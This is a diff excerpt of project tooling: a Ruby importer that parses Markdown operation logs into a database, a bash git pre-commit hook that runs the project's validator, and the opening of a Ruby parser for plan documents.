||||
{
|
||||
error: error,
|
||||
backtrace: e.backtrace,
|
||||
estadisticas: @estadisticas
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# Importa todas las bitácoras de un directorio
|
||||
#
|
||||
# @param directorio [String] Ruta al directorio con archivos .md
|
||||
# @param opciones [Hash] Opciones de importación
|
||||
# @return [Hash] Resultado consolidado
|
||||
def importar_directorio(directorio, opciones = {})
|
||||
archivos = Dir.glob(File.join(directorio, '*.md')).sort
|
||||
resultados = []
|
||||
|
||||
@logger.info("Importando #{archivos.length} archivos desde #{directorio}")
|
||||
|
||||
archivos.each do |archivo|
|
||||
@logger.info("Procesando: #{File.basename(archivo)}")
|
||||
resultado = importar_bitacora(archivo, opciones)
|
||||
resultados << resultado.merge(archivo: archivo)
|
||||
end
|
||||
|
||||
consolidar_resultados(resultados)
|
||||
end
|
||||
|
||||
# Obtiene estadísticas de importación
|
||||
#
|
||||
# @return [Hash] Estadísticas acumuladas
|
||||
def estadisticas
|
||||
@estadisticas
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Extrae fecha desde la ruta del archivo (ej: bitacoras/2026-02-28.md)
|
||||
def extraer_fecha_desde_ruta(ruta)
|
||||
nombre = File.basename(ruta, '.md')
|
||||
begin
|
||||
Date.parse(nombre)
|
||||
rescue Date::Error
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
# Extrae fecha desde el contenido del archivo
|
||||
def extraer_fecha_desde_contenido(contenido)
|
||||
# Buscar patrón: # Bitácora 2026-02-28
|
||||
match = contenido.match(/# Bitácora (\d{4}-\d{2}-\d{2})/)
|
||||
return Date.parse(match[1]) if match
|
||||
|
||||
# Buscar patrón: # Bitácora de Operaciones - 28/02/2026
|
||||
match = contenido.match(/# Bitácora de Operaciones - (\d{2}\/\d{2}\/\d{4})/)
|
||||
if match
|
||||
fecha_str = match[1]
|
||||
dia, mes, anio = fecha_str.split('/')
|
||||
return Date.parse("#{anio}-#{mes}-#{dia}")
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Parsea el contenido del archivo .md a estructura jerárquica
|
||||
def parsear_contenido(contenido, fecha)
|
||||
lineas = contenido.lines.map(&:chomp)
|
||||
|
||||
estructura = {
|
||||
fecha: fecha,
|
||||
resumen: extraer_resumen(contenido),
|
||||
nodos: {},
|
||||
secciones: {}
|
||||
}
|
||||
|
||||
nodo_actual = nil
|
||||
tema_actual = nil
|
||||
en_actividades_detalladas = false
|
||||
en_tabla_entradas = false
|
||||
encabezados_tabla = []
|
||||
entradas_tabla = []
|
||||
|
||||
lineas.each_with_index do |linea, idx|
|
||||
# Detectar sección de actividades detalladas (con cualquier emoji o sin él)
|
||||
if linea.match?(/^## .*Actividades Detalladas/)
|
||||
en_actividades_detalladas = true
|
||||
next
|
||||
end
|
||||
|
||||
# Detectar fin de sección (siguiente ##)
|
||||
if en_actividades_detalladas && linea.start_with?('## ') && !linea.match?(/.*Actividades Detalladas/)
|
||||
en_actividades_detalladas = false
|
||||
end
|
||||
|
||||
# Solo procesar dentro de actividades detalladas
|
||||
next unless en_actividades_detalladas
|
||||
|
||||
# Detectar nodo (### srv-ns8)
|
||||
if linea.start_with?('### ') && !linea.start_with?('####')
|
||||
nodo_nombre = linea.sub('### ', '').strip
|
||||
nodo_actual = nodo_nombre
|
||||
estructura[:nodos][nodo_actual] ||= {
|
||||
nombre: nodo_nombre,
|
||||
temas: {}
|
||||
}
|
||||
next
|
||||
end
|
||||
|
||||
# Detectar tema (#### ✅ - SEC01 - Refactorización ns8-candados)
|
||||
if linea.start_with?('#### ')
|
||||
tema_linea = linea.sub('#### ', '').strip
|
||||
tema_info = parsear_tema(tema_linea)
|
||||
|
||||
if tema_info && nodo_actual
|
||||
tema_actual = tema_info[:id_tema]
|
||||
estructura[:nodos][nodo_actual][:temas][tema_actual] = {
|
||||
id_tema: tema_info[:id_tema],
|
||||
titulo: tema_info[:titulo],
|
||||
estado: tema_info[:estado],
|
||||
descripcion: tema_info[:descripcion],
|
||||
entradas: []
|
||||
}
|
||||
end
|
||||
next
|
||||
end
|
||||
|
||||
# Detectar inicio de tabla de entradas
|
||||
if linea.match?(/^\| I \| F \| Descripción \| (?:J \| )?E \|$/)
|
||||
en_tabla_entradas = true
|
||||
encabezados_tabla = linea.split('|').map(&:strip).reject(&:empty?)
|
||||
entradas_tabla = []
|
||||
next
|
||||
end
|
||||
|
||||
# Detectar fin de tabla
|
||||
if en_tabla_entradas && (linea.empty? || linea.start_with?('#') || linea.start_with?('####'))
|
||||
# Procesar entradas acumuladas
|
||||
if tema_actual && nodo_actual && !entradas_tabla.empty?
|
||||
entradas_parseadas = parsear_entradas_tabla(entradas_tabla, encabezados_tabla)
|
||||
# Verificar que exista el tema antes de asignar entradas
|
||||
if estructura[:nodos][nodo_actual] && estructura[:nodos][nodo_actual][:temas][tema_actual]
|
||||
estructura[:nodos][nodo_actual][:temas][tema_actual][:entradas] = entradas_parseadas
|
||||
else
|
||||
@logger.advertencia("Tema #{tema_actual} no encontrado en nodo #{nodo_actual}, omitiendo entradas")
|
||||
end
|
||||
end
|
||||
|
||||
en_tabla_entradas = false
|
||||
encabezados_tabla = []
|
||||
entradas_tabla = []
|
||||
end
|
||||
|
||||
# Acumular líneas de tabla
|
||||
if en_tabla_entradas && linea.start_with?('|')
|
||||
entradas_tabla << linea
|
||||
end
|
||||
end
|
||||
|
||||
# Procesar última tabla si estaba activa al final del archivo
|
||||
if en_tabla_entradas && tema_actual && nodo_actual && !entradas_tabla.empty?
|
||||
entradas_parseadas = parsear_entradas_tabla(entradas_tabla, encabezados_tabla)
|
||||
# Verificar que exista el tema antes de asignar entradas
|
||||
if estructura[:nodos][nodo_actual] && estructura[:nodos][nodo_actual][:temas][tema_actual]
|
||||
estructura[:nodos][nodo_actual][:temas][tema_actual][:entradas] = entradas_parseadas
|
||||
else
|
||||
@logger.advertencia("Tema #{tema_actual} no encontrado en nodo #{nodo_actual}, omitiendo entradas")
|
||||
end
|
||||
end
|
||||
|
||||
estructura
|
||||
end
|
||||
|
||||
# Extrae resumen general del contenido
|
||||
def extraer_resumen(contenido)
|
||||
# Buscar en sección "Resumen de Actividades" con cualquier emoji o sin él
|
||||
patron_resumen = /### .*Resumen de Actividades/
|
||||
match_resumen = contenido.match(patron_resumen)
|
||||
|
||||
if match_resumen
|
||||
seccion = contenido.split(match_resumen[0])[1]
|
||||
if seccion
|
||||
# Tomar las primeras líneas después de la tabla
|
||||
lineas = seccion.lines.map(&:chomp)
|
||||
resumen_lineas = []
|
||||
en_tabla = false
|
||||
|
||||
lineas.each do |linea|
|
||||
if linea.match?(/^\|.*\|$/)
|
||||
en_tabla = true
|
||||
elsif en_tabla && !linea.match?(/^\|.*\|$/)
|
||||
# Fin de tabla, empezar a capturar resumen
|
||||
if linea.strip.length > 10 # Ignorar líneas muy cortas
|
||||
resumen_lineas << linea.strip
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return resumen_lineas.join(' ') if resumen_lineas.any?
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Parsea línea de tema (ej: "✅ - SEC01 - Refactorización ns8-candados")
|
||||
def parsear_tema(linea)
|
||||
# Intentar formato estándar: estado - id - título (ej: ✅ - ADN01 - Título)
|
||||
match_std = linea.match(/^([^\s-]+)\s*-\s*([A-Z0-9.]+)\s*-\s*(.+)$/)
|
||||
if match_std
|
||||
return {
|
||||
id_tema: match_std[2],
|
||||
titulo: match_std[3].strip,
|
||||
estado: ESTADOS_MD[match_std[1]] || '⏳',
|
||||
descripcion: match_std[3].strip
|
||||
}
|
||||
end
|
||||
|
||||
# Intentar formato simplificado: estado - título (ej: 🎭 - Servicio Auditorio)
|
||||
match_simple = linea.match(/^([^\s-]+)\s*-\s*(.+)$/)
|
||||
if match_simple
|
||||
titulo = match_simple[2].strip
|
||||
# Generar un ID determinista basado en el título para estabilidad
|
||||
id_gen = "GEN" + Digest::MD5.hexdigest(titulo)[0..5].upcase
|
||||
return {
|
||||
id_tema: id_gen,
|
||||
titulo: titulo,
|
||||
estado: ESTADOS_MD[match_simple[1]] || '⏳',
|
||||
descripcion: titulo
|
||||
}
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Parsea líneas de tabla de entradas
|
||||
def parsear_entradas_tabla(lineas_tabla, encabezados)
|
||||
entradas = []
|
||||
|
||||
# Mapeo de columnas basado en encabezados
|
||||
columnas = {}
|
||||
encabezados.each_with_index do |encabezado, idx|
|
||||
case encabezado.downcase
|
||||
when 'i' then columnas[:inicio] = idx
|
||||
when 'f' then columnas[:fin] = idx
|
||||
when 'descripción' then columnas[:descripcion] = idx
|
||||
when 'j' then columnas[:jornada] = idx
|
||||
when 'e' then columnas[:estado] = idx
|
||||
end
|
||||
end
|
||||
|
||||
lineas_tabla.each do |linea|
|
||||
# Saltar separadores de tabla Markdown (ej: | :--- | :--- | :--- | :--- |)
|
||||
next if linea.match?(/^[\|\s:-]+$/) # Solo pipes, espacios, guiones y dos puntos
|
||||
next if linea.match?(/^\|?\s*:?-+:?\s*\|/) # Separadores con :---, ---, :-:, etc.
|
||||
|
||||
# Limpiar pipes iniciales y finales antes de split
|
||||
linea_limpia = linea.strip.gsub(/^\||\|$/, '')
|
||||
celdas = linea_limpia.split('|').map(&:strip)
|
||||
next if celdas.length < 3 # Mínimo: inicio, descripción, estado
|
||||
|
||||
# Validar que la celda de inicio tenga contenido
|
||||
valor_inicio = celdas[columnas[:inicio]]
|
||||
next if valor_inicio.nil? || valor_inicio.empty? || valor_inicio.match?(/^:?-+:?$/)
|
||||
|
||||
fin_valor = nil
|
||||
if columnas[:fin] && !celdas[columnas[:fin]].nil?
|
||||
raw_fin = celdas[columnas[:fin]].strip
|
||||
fin_valor = raw_fin if !raw_fin.empty? && raw_fin != '-'
|
||||
end
|
||||
|
||||
entrada = {
|
||||
inicio: valor_inicio.gsub(/\s*\(.*?\)\s*/, '').strip,
|
||||
fin: fin_valor ? fin_valor.gsub(/\s*\(.*?\)\s*/, '').strip : nil,
|
||||
descripcion: celdas[columnas[:descripcion]],
|
||||
estado_modo: celdas[columnas[:estado]]
|
||||
}
|
||||
|
||||
# Parsear estado y modo
|
||||
if columnas[:jornada] && columnas[:estado]
|
||||
# Nuevo formato: J y E separados
|
||||
# Unimos temporalmente para usar parsear_estado_modo existente
|
||||
campo_combinado = "[#{celdas[columnas[:jornada]]}] #{celdas[columnas[:estado]]}"
|
||||
estado_modo = parsear_estado_modo(campo_combinado)
|
||||
entrada[:estado] = estado_modo[:estado]
|
||||
entrada[:modo] = estado_modo[:modo]
|
||||
elsif columnas[:estado]
|
||||
# Formato viejo o solo E
|
||||
estado_modo = parsear_estado_modo(celdas[columnas[:estado]])
|
||||
entrada[:estado] = estado_modo[:estado]
|
||||
entrada[:modo] = estado_modo[:modo]
|
||||
end
|
||||
|
||||
entradas << entrada
|
||||
end
|
||||
|
||||
entradas
|
||||
end
|
||||
|
||||
# Parsea campo estado/modo (ej: "[P] ✅")
|
||||
def parsear_estado_modo(campo)
|
||||
estado = '⏳'
|
||||
modo = 'P'
|
||||
|
||||
# Buscar estado en el campo
|
||||
ESTADOS_MD.each do |md_estado, bd_estado|
|
||||
if campo.include?(md_estado)
|
||||
estado = bd_estado
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# Buscar modo en el campo
|
||||
MODOS_MD.each do |md_modo, bd_modo|
|
||||
if campo.include?(md_modo)
|
||||
modo = bd_modo
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
{ estado: estado, modo: modo }
|
||||
end
|
||||
|
||||
# Importa estructura parseada a base de datos
|
||||
def importar_estructura(estructura, opciones)
|
||||
errores = []
|
||||
|
||||
begin
|
||||
# 1. Crear o actualizar bitácora
|
||||
bitacora = @db.find_bitacora_by_fecha(estructura[:fecha])
|
||||
|
||||
if bitacora
|
||||
@logger.info("Bitácora #{estructura[:fecha]} ya existe (ID: #{bitacora['id']})")
|
||||
else
|
||||
bitacora = @db.create_bitacora(
|
||||
fecha: estructura[:fecha],
|
||||
resumen: estructura[:resumen]
|
||||
)
|
||||
@estadisticas[:bitacoras_creadas] += 1
|
||||
@logger.info("Bitácora creada: #{estructura[:fecha]} (ID: #{bitacora['id']})")
|
||||
end
|
||||
|
||||
bitacora_id = bitacora['id']
|
||||
|
||||
# 1b. Si se solicita sobrescribir, limpiar entradas previas de esta bitácora
|
||||
if opciones[:sobrescribir]
|
||||
@logger.info("Limpiando datos previos de la bitácora #{estructura[:fecha]}...")
|
||||
# Borrar entradas primero (FK)
|
||||
@db.execute("DELETE FROM bitacoras.entradas WHERE bitacora_id = $1", [bitacora_id])
|
||||
# Borrar temas (FK)
|
||||
@db.execute("DELETE FROM bitacoras.temas WHERE bitacora_id = $1", [bitacora_id])
|
||||
@estadisticas[:datos_limpiados] = true
|
||||
end
|
||||
|
||||
# 2. Procesar cada nodo
|
||||
estructura[:nodos].each do |nombre_nodo, datos_nodo|
|
||||
# Buscar o crear nodo
|
||||
nodo = @db.find_nodo_by_nombre(nombre_nodo)
|
||||
|
||||
if nodo.nil? && opciones[:crear_nodos]
|
||||
tipo = inferir_tipo_nodo(nombre_nodo)
|
||||
nodo = @db.create_nodo(
|
||||
nombre: nombre_nodo,
|
||||
tipo: tipo,
|
||||
descripcion: "Importado desde bitácora #{estructura[:fecha]}"
|
||||
)
|
||||
@estadisticas[:nodos_creados] += 1
|
||||
@logger.info("Nodo creado: #{nombre_nodo} (ID: #{nodo['id']})")
|
||||
elsif nodo.nil?
|
||||
@logger.advertencia("Nodo #{nombre_nodo} no existe y crear_nodos=false, omitiendo")
|
||||
next
|
||||
end
|
||||
|
||||
nodo_id = nodo['id']
|
||||
|
||||
# 3. Procesar temas del nodo
|
||||
datos_nodo[:temas].each do |id_tema, datos_tema|
|
||||
# Buscar tema por id_tema y bitácora
|
||||
temas = @db.list_temas(bitacora_id: bitacora_id, nodo_id: nodo_id, limit: 100)
|
||||
tema_existente = temas.find { |t| t['id_tema'] == id_tema }
|
||||
|
||||
if tema_existente
|
||||
@logger.info("Tema #{id_tema} ya existe (ID: #{tema_existente['id']})")
|
||||
tema_id = tema_existente['id']
|
||||
else
|
||||
tema = @db.create_tema(
|
||||
id_tema: id_tema,
|
||||
titulo: datos_tema[:titulo],
|
||||
estado: datos_tema[:estado],
|
||||
descripcion: datos_tema[:descripcion],
|
||||
bitacora_id: bitacora_id,
|
||||
nodo_id: nodo_id
|
||||
)
|
||||
tema_id = tema['id']
|
||||
@estadisticas[:temas_creados] += 1
|
||||
@logger.info("Tema creado: #{id_tema} (ID: #{tema_id})")
|
||||
end
|
||||
|
||||
# 4. Procesar entradas del tema
|
||||
datos_tema[:entradas].each do |entrada_md|
|
||||
# Validar campos requeridos
|
||||
next unless entrada_md[:inicio] && entrada_md[:descripcion]
|
||||
|
||||
# Intentar buscar entrada existente para evitar duplicados (Upsert)
|
||||
# Buscamos por: bitacora_id, nodo_id y hora de inicio (única para un nodo en un día)
|
||||
entradas_nodo = @db.list_entradas(bitacora_id: bitacora_id, nodo_id: nodo_id, limit: 100)
|
||||
# Normalizar hora para comparación
|
||||
inicio_norm = @db.send(:parse_time, entrada_md[:inicio])
|
||||
|
||||
existente = entradas_nodo.find { |e| e['inicio'] == inicio_norm }
|
||||
|
||||
begin
|
||||
if existente
|
||||
# Actualizar si ya existe
|
||||
@db.update_entrada(existente['id'], {
|
||||
fin: entrada_md[:fin],
|
||||
descripcion: entrada_md[:descripcion],
|
||||
estado: entrada_md[:estado] || '⏳',
|
||||
modo: entrada_md[:modo] || 'P'
|
||||
})
|
||||
@estadisticas[:entradas_actualizadas] ||= 0
|
||||
@estadisticas[:entradas_actualizadas] += 1
|
||||
else
|
||||
# Crear si no existe
|
||||
@db.create_entrada(
|
||||
inicio: entrada_md[:inicio],
|
||||
fin: entrada_md[:fin],
|
||||
descripcion: entrada_md[:descripcion],
|
||||
estado: entrada_md[:estado] || '⏳',
|
||||
modo: entrada_md[:modo] || 'P',
|
||||
es_ia: false,
|
||||
tema_id: tema_id,
|
||||
bitacora_id: bitacora_id,
|
||||
nodo_id: nodo_id
|
||||
)
|
||||
@estadisticas[:entradas_creadas] += 1
|
||||
end
|
||||
rescue => e
|
||||
@logger.error("Error procesando entrada '#{entrada_md[:inicio]} - #{entrada_md[:descripcion]}': #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue => e
|
||||
error = "Error importando estructura: #{e.message}"
|
||||
@logger.error(error)
|
||||
errores << error
|
||||
end
|
||||
|
||||
{ errores: errores }
|
||||
end
|
||||
|
||||
# Infiere tipo de nodo basado en su nombre
|
||||
def inferir_tipo_nodo(nombre)
|
||||
TIPOS_NODO.each do |patron, tipo|
|
||||
return tipo if nombre.match?(patron)
|
||||
end
|
||||
'servidor' # Tipo por defecto
|
||||
end
|
||||
|
||||
# Consolida resultados de múltiples importaciones
|
||||
def consolidar_resultados(resultados)
|
||||
totales = {
|
||||
archivos: resultados.length,
|
||||
exitosos: resultados.count { |r| r[:exitoso] == true },
|
||||
omitidos: resultados.count { |r| r[:skip] == true },
|
||||
errores: resultados.count { |r| r[:error] }
|
||||
}
|
||||
|
||||
estadisticas_consolidadas = {
|
||||
archivos_procesados: resultados.length,
|
||||
bitacoras_creadas: resultados.sum { |r| r.dig(:estadisticas, :bitacoras_creadas) || 0 },
|
||||
nodos_creados: resultados.sum { |r| r.dig(:estadisticas, :nodos_creados) || 0 },
|
||||
temas_creados: resultados.sum { |r| r.dig(:estadisticas, :temas_creados) || 0 },
|
||||
entradas_creadas: resultados.sum { |r| r.dig(:estadisticas, :entradas_creadas) || 0 },
|
||||
errores: resultados.flat_map { |r| r.dig(:estadisticas, :errores) || [] }.compact
|
||||
}
|
||||
|
||||
{
|
||||
totales: totales,
|
||||
estadisticas: estadisticas_consolidadas,
|
||||
detalles: resultados
|
||||
}
|
||||
end
|
||||
|
||||
# Logger por defecto
|
||||
def default_logger
|
||||
Class.new do
|
||||
def info(msg); puts "[INFO] #{msg}"; end
|
||||
def advertencia(msg); puts "[ADVERTENCIA] #{msg}"; end
|
||||
def error(msg); puts "[ERROR] #{msg}"; end
|
||||
end.new
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Executable
+228
@@ -0,0 +1,228 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# Git pre-commit hook para validación del ADN del proyecto srv-ns8
|
||||
# Valida que bitácoras, nodos, proyectos y hebras ADN cumplan con las reglas
|
||||
# definidas en las hebras del ADN (adn/).
|
||||
|
||||
# ─── Configuración ───────────────────────────────────────────────────────
|
||||
PROYECTO_ROOT="$(git rev-parse --show-toplevel)"
|
||||
ADN_TOOLS_DIR="${PROYECTO_ROOT}/adn/tools"
|
||||
ADN_CLI="${PROYECTO_ROOT}/adn/tools/run"
|
||||
CONFIG_FILE="${ADN_TOOLS_DIR}/config/config.yml"
|
||||
HOOK_NAME="pre-commit ADN"
|
||||
|
||||
# ─── Colores para terminal ───────────────────────────────────────────────
|
||||
COLOR_RESET="\033[0m"
|
||||
COLOR_ROJO="\033[31m"
|
||||
COLOR_VERDE="\033[32m"
|
||||
COLOR_AMARILLO="\033[33m"
|
||||
COLOR_CYAN="\033[36m"
|
||||
COLOR_DIM="\033[2m"
|
||||
|
||||
# ─── Funciones de utilidad ───────────────────────────────────────────────
|
||||
log_info() {
|
||||
echo -e "${COLOR_CYAN}ℹ $1${COLOR_RESET}"
|
||||
}
|
||||
|
||||
log_exito() {
|
||||
echo -e "${COLOR_VERDE}✓ $1${COLOR_RESET}"
|
||||
}
|
||||
|
||||
log_advertencia() {
|
||||
echo -e "${COLOR_AMARILLO}⚠ $1${COLOR_RESET}"
|
||||
}
|
||||
|
||||
log_error() {
|
||||
echo -e "${COLOR_ROJO}✗ $1${COLOR_RESET}"
|
||||
}
|
||||
|
||||
# Verificar si un comando existe
|
||||
comando_existe() {
|
||||
command -v "$1" >/dev/null 2>&1
|
||||
}
|
||||
|
||||
# ─── Validaciones previas ────────────────────────────────────────────────
|
||||
verificar_prerequisitos() {
|
||||
# Verificar Ruby
|
||||
if ! comando_existe "ruby"; then
|
||||
log_error "Ruby no encontrado. Es requerido para la validación del ADN."
|
||||
log_info "Instala Ruby: sudo apt install ruby (Debian/Ubuntu)"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Verificar CLI ADN
|
||||
if [[ ! -f "${ADN_CLI}" ]]; then
|
||||
log_error "Herramienta ADN no encontrada: ${ADN_CLI}"
|
||||
log_info "Ejecuta desde la raíz del proyecto o instala las herramientas ADN."
|
||||
return 1
|
||||
fi
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
# ─── Obtener archivos modificados relevantes ─────────────────────────────
|
||||
obtener_archivos_relevantes() {
|
||||
# Obtener archivos staged con cambios (Added, Copied, Modified)
|
||||
git diff --cached --name-only --diff-filter=ACM | while read -r archivo; do
|
||||
# Filtrar solo archivos .md en directorios del ADN
|
||||
if [[ "$archivo" =~ \.md$ ]]; then
|
||||
case "$archivo" in
|
||||
bitacoras/*|nodos/*|proyectos/*|adn/*)
|
||||
echo "$archivo"
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# ─── Validación de archivos individuales ─────────────────────────────────
|
||||
validar_archivo() {
|
||||
local archivo="$1"
|
||||
local nombre_archivo=$(basename "$archivo")
|
||||
|
||||
# Determinar tipo de validación basado en el directorio
|
||||
local tipo=""
|
||||
case "$archivo" in
|
||||
bitacoras/*) tipo="bitacora" ;;
|
||||
nodos/*) tipo="nodo" ;;
|
||||
proyectos/*) tipo="proyecto" ;;
|
||||
adn/*) tipo="hebra" ;;
|
||||
*) return 0 ;; # No debería pasar
|
||||
esac
|
||||
|
||||
log_info "Validando $tipo: $nombre_archivo"
|
||||
|
||||
# Por ahora usamos el validador general (en el futuro podría haber validación por tipo)
|
||||
# El validador general ya filtra por tipo de archivo
|
||||
return 0
|
||||
}
|
||||
|
||||
# ─── Validación completa ─────────────────────────────────────────────────
|
||||
ejecutar_validacion() {
|
||||
local archivos_relevantes=$(obtener_archivos_relevantes)
|
||||
local cantidad_archivos=$(echo "$archivos_relevantes" | wc -l | tr -d ' ')
|
||||
|
||||
if [[ "$cantidad_archivos" -eq 0 ]]; then
|
||||
log_info "No hay archivos del ADN para validar."
|
||||
return 0
|
||||
fi
|
||||
|
||||
log_info "Validando $cantidad_archivos archivo(s) del ADN..."
|
||||
|
||||
# Ejecutar validador general
|
||||
cd "${PROYECTO_ROOT}" || exit 1
|
||||
|
||||
# Ejecutar validador con opción --fix automática para correcciones menores
|
||||
local output
|
||||
if output=$(ruby "${ADN_CLI}" validador --fix 2>&1); then
|
||||
# El validador exitó con éxito
|
||||
if echo "$output" | grep -q "Con errores: 0"; then
|
||||
if echo "$output" | grep -q "Con advertencias: 0"; then
|
||||
log_exito "Validación del ADN completada sin errores ni advertencias."
|
||||
else
|
||||
log_advertencia "Validación del ADN completada con advertencias (revisa arriba)."
|
||||
# Permitir commit a pesar de advertencias
|
||||
fi
|
||||
return 0
|
||||
else
|
||||
log_error "Validación del ADN encontró errores. Corrígelos antes de commit."
|
||||
echo ""
|
||||
echo "$output" | tail -20 # Mostrar últimas líneas del output
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
# Error en la ejecución del validador
|
||||
log_error "Error ejecutando el validador del ADN:"
|
||||
echo "$output"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# ─── Instalación automática (si se ejecuta con --install) ────────────────
|
||||
instalar_hook() {
|
||||
local hook_dest="${PROYECTO_ROOT}/.git/hooks/pre-commit"
|
||||
local hook_source="${ADN_TOOLS_DIR}/hooks/pre-commit"
|
||||
|
||||
if [[ ! -d "${PROYECTO_ROOT}/.git" ]]; then
|
||||
log_error "No se encuentra directorio .git. Ejecuta desde un repositorio Git."
|
||||
return 1
|
||||
fi
|
||||
|
||||
log_info "Instalando hook pre-commit para validación ADN..."
|
||||
|
||||
# Copiar hook
|
||||
cp "${hook_source}" "${hook_dest}"
|
||||
chmod +x "${hook_dest}"
|
||||
|
||||
# Verificar si ya existe un hook pre-commit previo
|
||||
if [[ -f "${PROYECTO_ROOT}/.git/hooks/pre-commit" && ! -L "${PROYECTO_ROOT}/.git/hooks/pre-commit" ]] && \
|
||||
! cmp -s "${hook_source}" "${hook_dest}"; then
|
||||
log_advertencia "Ya existe un hook pre-commit. Se ha sobrescrito."
|
||||
log_info "Si necesitas múltiples hooks, considera usar un gestor de hooks."
|
||||
fi
|
||||
|
||||
log_exito "Hook pre-commit instalado en ${hook_dest}"
|
||||
log_info "Se ejecutará automáticamente en cada 'git commit'."
|
||||
}
|
||||
|
||||
# ─── Ayuda ───────────────────────────────────────────────────────────────
|
||||
mostrar_ayuda() {
|
||||
echo -e "${COLOR_CYAN}${HOOK_NAME} - Hook Git pre-commit${COLOR_RESET}"
|
||||
echo ""
|
||||
echo "Uso:"
|
||||
echo " Ejecución automática: Se ejecuta en cada 'git commit'"
|
||||
echo " Instalación: $0 --install"
|
||||
echo " Validación manual: $0 --validate"
|
||||
echo " Ayuda: $0 --help"
|
||||
echo ""
|
||||
echo "Descripción:"
|
||||
echo " Valida que los archivos del ADN (bitácoras, nodos, proyectos, hebras)"
|
||||
echo " cumplan con las reglas definidas en las hebras del ADN (adn/)."
|
||||
echo ""
|
||||
echo "Comportamiento:"
|
||||
echo " - Errores: Bloquea el commit hasta que se corrijan"
|
||||
echo " - Advertencias: Muestra alerta pero permite el commit"
|
||||
echo " - Correcciones automáticas: Intenta corregir errores simples (--fix)"
|
||||
echo ""
|
||||
echo "Configuración: ${CONFIG_FILE}"
|
||||
}
|
||||
|
||||
# ─── Main ────────────────────────────────────────────────────────────────
|
||||
main() {
|
||||
# Parsear argumentos
|
||||
case "${1:-}" in
|
||||
--install|-i)
|
||||
instalar_hook
|
||||
exit $?
|
||||
;;
|
||||
--validate|-v)
|
||||
if ! verificar_prerequisitos; then
|
||||
exit 1
|
||||
fi
|
||||
ejecutar_validacion
|
||||
exit $?
|
||||
;;
|
||||
--help|-h)
|
||||
mostrar_ayuda
|
||||
exit 0
|
||||
;;
|
||||
"")
|
||||
# Modo hook normal (sin argumentos)
|
||||
if ! verificar_prerequisitos; then
|
||||
exit 0 # No fallar el commit si falta Ruby, solo advertir
|
||||
fi
|
||||
ejecutar_validacion
|
||||
exit $?
|
||||
;;
|
||||
*)
|
||||
log_error "Argumento desconocido: $1"
|
||||
mostrar_ayuda
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Solo ejecutar main si el script es ejecutado directamente
|
||||
if [[ "${BASH_SOURCE[0]}" = "$0" ]]; then
|
||||
main "$@"
|
||||
fi
|
||||
@@ -0,0 +1,684 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/parsers/plan.rb — Parser para seguimiento de planes ADN
|
||||
# ============================================================================
|
||||
# Este módulo proporciona funcionalidad para parsear, actualizar y generar
|
||||
# reportes del plan de trabajo ADN BITACORAs.
|
||||
#
|
||||
# Características:
|
||||
# • Parseo de archivos Markdown con estructura de planes
|
||||
# • Detección automática de fases, semanas y tareas
|
||||
# • Actualización de estado de tareas ([ ] → [x])
|
||||
# • Generación de reportes de progreso
|
||||
# • Persistencia de cambios en el archivo original
|
||||
#
|
||||
# Uso:
|
||||
# parser = PlanParser.new('docs/plan/260308-1200_Plan_Integral_ADN_BITACORAs.md')
|
||||
# parser.parse_file
|
||||
# parser.update_task_status('1.1', true)
|
||||
# parser.save_changes
|
||||
# puts parser.progress_report
|
||||
|
||||
require 'yaml'
|
||||
require 'json'
|
||||
require 'fileutils'
|
||||
require 'time'
|
||||
|
||||
module ADN
|
||||
module Plan
|
||||
class PlanParser
|
||||
# Patrones regex para parsear el archivo de plan
|
||||
PHASE_PATTERN = /^###\s*([✅🟡🟠🔴🟣⚫️⬛️◼️▪️]+)?\s*\*\*FASE\s+(\d+):\s*(.+?)\*\*\s*(?:\((.+?)\))?$/i
|
||||
WEEK_PATTERN = /^####\s*Semana\s+(\d+):\s*(.+)$/i
|
||||
TASK_PATTERN = /^(\s*)[-*]\s*\[([ x]?)\]\s*\*\*([A-Za-z]*\d+(?:\.\d+)?):\*\*\s*(.+?)(?:\s*\((.+?)\))?$/
|
||||
SECTION_PATTERN = /^\#{1,6}\s*(.+)$/
|
||||
KPI_TABLE_PATTERN = /^\|\s*(.+?)\s*\|\s*(.+?)\s*\|\s*(.+?)\s*\|\s*(.+?)\s*\|\s*(.+?)\s*\|$/
|
||||
|
||||
# Estados posibles de las tareas
|
||||
TASK_STATES = {
|
||||
' ' => :pending,
|
||||
'x' => :completed,
|
||||
'X' => :completed
|
||||
}.freeze
|
||||
|
||||
# Fases del plan con sus emojis representativos
|
||||
PHASE_EMOJIS = {
|
||||
0 => '✅', # Preparación (completado)
|
||||
1 => '🟡', # Núcleo de Conexión BD
|
||||
2 => '🟠', # Herramientas CLI Avanzadas
|
||||
3 => '🔴', # Sistema Integrado
|
||||
4 => '🟣', # Madurez y Autonomía
|
||||
5 => '⚫️' # Mantenimiento
|
||||
}.freeze
|
||||
|
||||
attr_reader :file_path, :phases, :tasks, :kpis, :metadata, :logger
|
||||
|
||||
# Inicializa el parser con la ruta del archivo
|
||||
#
|
||||
# @param file_path [String] Ruta al archivo markdown del plan
|
||||
# @param logger [Logger] Instancia de logger (opcional)
|
||||
def initialize(file_path, logger = nil)
|
||||
@file_path = File.expand_path(file_path)
|
||||
@logger = logger || default_logger
|
||||
@phases = []
|
||||
@tasks = []
|
||||
@kpis = []
|
||||
@metadata = {}
|
